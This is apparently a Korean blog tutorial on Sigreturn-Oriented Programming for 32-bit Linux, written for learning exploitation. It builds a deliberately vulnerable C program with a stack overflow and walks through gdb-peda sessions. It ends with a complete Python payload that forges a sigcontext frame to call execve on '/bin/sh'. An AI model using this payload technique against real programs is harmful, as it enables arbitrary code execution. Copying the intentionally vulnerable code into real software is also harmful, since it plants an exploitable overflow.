티스토리 뷰
- Overflow 취약점 : Overflow 를 통해 Memory를 조작하여 공격 진행
- EAX 레지스터 제어 : 뒤에 보겠지만 EAX 레지스터에 System Call의 Number가 들어감
- int 0x80 Gadget : pop-pop-ret 를 대신할 SROP 에서 필수 Gadget
char sh[]="/bin/sh"; //예제라서 넣은 것, 실제로는 ROP를 통해 만들 필요가 있음
void int80() { asm("int $0x80"); //역시 예제라서 넣은 것, 없으면 SROP 공격을 못 함 }
void main() { char buf[8];
read(0, buf, 128); //Overflow 취약점 } |
131 번째에 나와있는데 sigreturn은 119 라는 상수 값으로 정의가 되어 있는 것을 볼 수 있다.
이 때, int 0x80은 EAX 값을 통해 System Call을 하기 때문에 EAX 값을 sigreturn의 값으로 제어를 한 후 호출해야 한다. 다행히 위의 예제는 read 함수를 통해 표준입력을 하여 return의 반환 값으로 입력받은 바이트 크기를 반환하는데 EAX 레지스터에 이 반환 값이 저장되게 된다.
따라서, buf에 119바이트를 입력하여 EAX 레지스터에 119의 값을 저장한 후 int 0x80 Gadget을 호출할 경우 sigreturn이 시그널을 통해 호출될 것이다.
gdb-peda$ pdisas main Dump of assembler code for function main: 0x08048424 <+0>: push ebp 0x08048425 <+1>: mov ebp,esp 0x08048427 <+3>: and esp,0xfffffff0 0x0804842a <+6>: sub esp,0x20 0x0804842d <+9>: mov DWORD PTR [esp+0x8],0x80 0x08048435 <+17>: lea eax,[esp+0x18] 0x08048439 <+21>: mov DWORD PTR [esp+0x4],eax 0x0804843d <+25>: mov DWORD PTR [esp],0x0 0x08048444 <+32>: call 0x80482f0 <read@plt> 0x08048449 <+37>: leave 0x0804844a <+38>: ret End of assembler dump. gdb-peda$ b *main+37 Breakpoint 1 at 0x8048449 gdb-peda$ r Starting program: /home/tribal/test/srop/int80 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
gdb-peda$ x/40wx $esp 0xbfdd9e30: 0x00000000 0xbfdd9e48 0x00000080 0xb759142d 0xbfdd9e40: 0xb77083c4 0xb7747000 0x41414141 0x41414141 0xbfdd9e50: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfdd9e60: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfdd9e70: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfdd9e80: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfdd9e90: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfdd9ea0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfdd9eb0: 0x41414141 0x41414141 0x41414141 0xb70a4141 0xbfdd9ec0: 0x00000001 0x08048320 0x00000000 0x08048341 gdb-peda$ i r eax 0x77 0x77 ecx 0xbfdd9e48 0xbfdd9e48 edx 0x80 0x80 ebx 0xb7708000 0xb7708000 esp 0xbfdd9e30 0xbfdd9e30 ebp 0xbfdd9e58 0xbfdd9e58 esi 0x0 0x0 edi 0x0 0x0 eip 0x8048449 0x8048449 <main+37> eflags 0x203 [ CF IF ] cs 0x73 0x73 ss 0x7b 0x7b ds 0x7b 0x7b es 0x7b 0x7b fs 0x0 0x0 gs 0x33 0x33 |
gdb-peda$ pdisas int80 Dump of assembler code for function int80: 0x0804841d <+0>: push ebp 0x0804841e <+1>: mov ebp,esp 0x08048420 <+3>: int 0x80 0x08048422 <+5>: pop ebp 0x08048423 <+6>: ret End of assembler dump. gdb-peda$ set {int}0xbfdd9e5c=0x08048420 gdb-peda$ x/40wx $esp 0xbfdd9e30: 0x00000000 0xbfdd9e48 0x00000080 0xb759142d 0xbfdd9e40: 0xb77083c4 0xb7747000 0x41414141 0x41414141 0xbfdd9e50: 0x41414141 0x41414141 0x41414141 0x08048420 0xbfdd9e60: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfdd9e70: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfdd9e80: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfdd9e90: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfdd9ea0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfdd9eb0: 0x41414141 0x41414141 0x41414141 0xb70a4141 0xbfdd9ec0: 0x00000001 0x08048320 0x00000000 0x08048341 gdb-peda$ n gdb-peda$ n Cannot access memory at address 0x41414145 gdb-peda$ i r eax 0x77 0x77 ecx 0xbfdd9e48 0xbfdd9e48 edx 0x80 0x80 ebx 0xb7708000 0xb7708000 esp 0xbfdd9e60 0xbfdd9e60 ebp 0x41414141 0x41414141 esi 0x0 0x0 edi 0x0 0x0 eip 0x8048420 0x8048420 <int80+3> eflags 0x203 [ CF IF ] cs 0x73 0x73 ss 0x7b 0x7b ds 0x7b 0x7b es 0x7b 0x7b fs 0x0 0x0 gs 0x33 0x33 |
gdb-peda$ n Cannot access memory at address 0x41414141 gdb-peda$ i r eax 0x0 0x0 ecx 0x41414141 0x41414141 edx 0x41414141 0x41414141 ebx 0x41414141 0x41414141 esp 0x41414141 0x41414141 ebp 0x41414141 0x41414141 esi 0x41414141 0x41414141 edi 0x41414141 0x41414141 eip 0x41414141 0x41414141 eflags 0x10243 [ CF ZF IF RF ] cs 0x4143 0x4143 ss 0x4143 0x4143 ds 0x4141 0x4141 es 0x4141 0x4141 fs 0x4141 0x4141 gs 0x4141 0x4141 |
struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate *fpstate; unsigned long oldmask; unsigned long cr2; }; |
이제 페이로드를 [ buffer ] [ sfp ] [ ret ] [ sigcontext 구조체 내용 ]의 구성에 맞춰서 넣어주면 공격이 된다.
#!/usr/bin/python from struct import pack
p = lambda x: pack("<I", x)
syscall = 0x08048420
payload = ""
payload += "A"*20 payload += p(syscall) #ret payload += p(0x33) #GS payload += p(0) #FS payload += p(0x7b) #ES payload += p(0x7b) #DS payload += p(0) #EDI payload += p(0) #ESI payload += p(0x08049b00) #EBP payload += p(0x08049a00) #ESP payload += p(0x0804a020) #EBX #/bin/sh payload += p(0) #EDX payload += p(0) #ECX payload += p(0x0b) #EAX #execve system call number(11) payload += p(0) #trapno payload += p(0) #err payload += p(syscall) #EIP payload += p(0x73) #CS payload += p(0x246) #eflags payload += p(0) #esp_atsignal payload += p(0x7b) #SS payload += "\x00"*(118-len(payload))
print payload |
execve system call을 통해 /bin/sh를 실행할 수 있도록 EIP 레지스터에는 int 0x80 Gadget의 주소를 한 번 더 넣어주고 EAX에는 execve System Call의 상수 값을 넣어준다. 그리고 인자인 EBX 레지스터에 "/bin/sh" 문자열의 주소를 넣어주면 공격이 완료된다.
shell이 실행된 것을 확인할 수 있다.
참고자료 :
http://err0rless313.tistory.com/entry/SigReturn-Oriented-Programming-32bit
'System > Linux' 카테고리의 다른 글
Heap chunk 정리 (0) | 2016.04.14 |
---|---|
Linux Remote Shellcode (0) | 2016.01.30 |
ropgadget find (0) | 2016.01.06 |
32bit와 64bit의 차이 (0) | 2015.12.29 |
포장 함수 gets, fgets의 임시 버퍼 (0) | 2015.12.28 |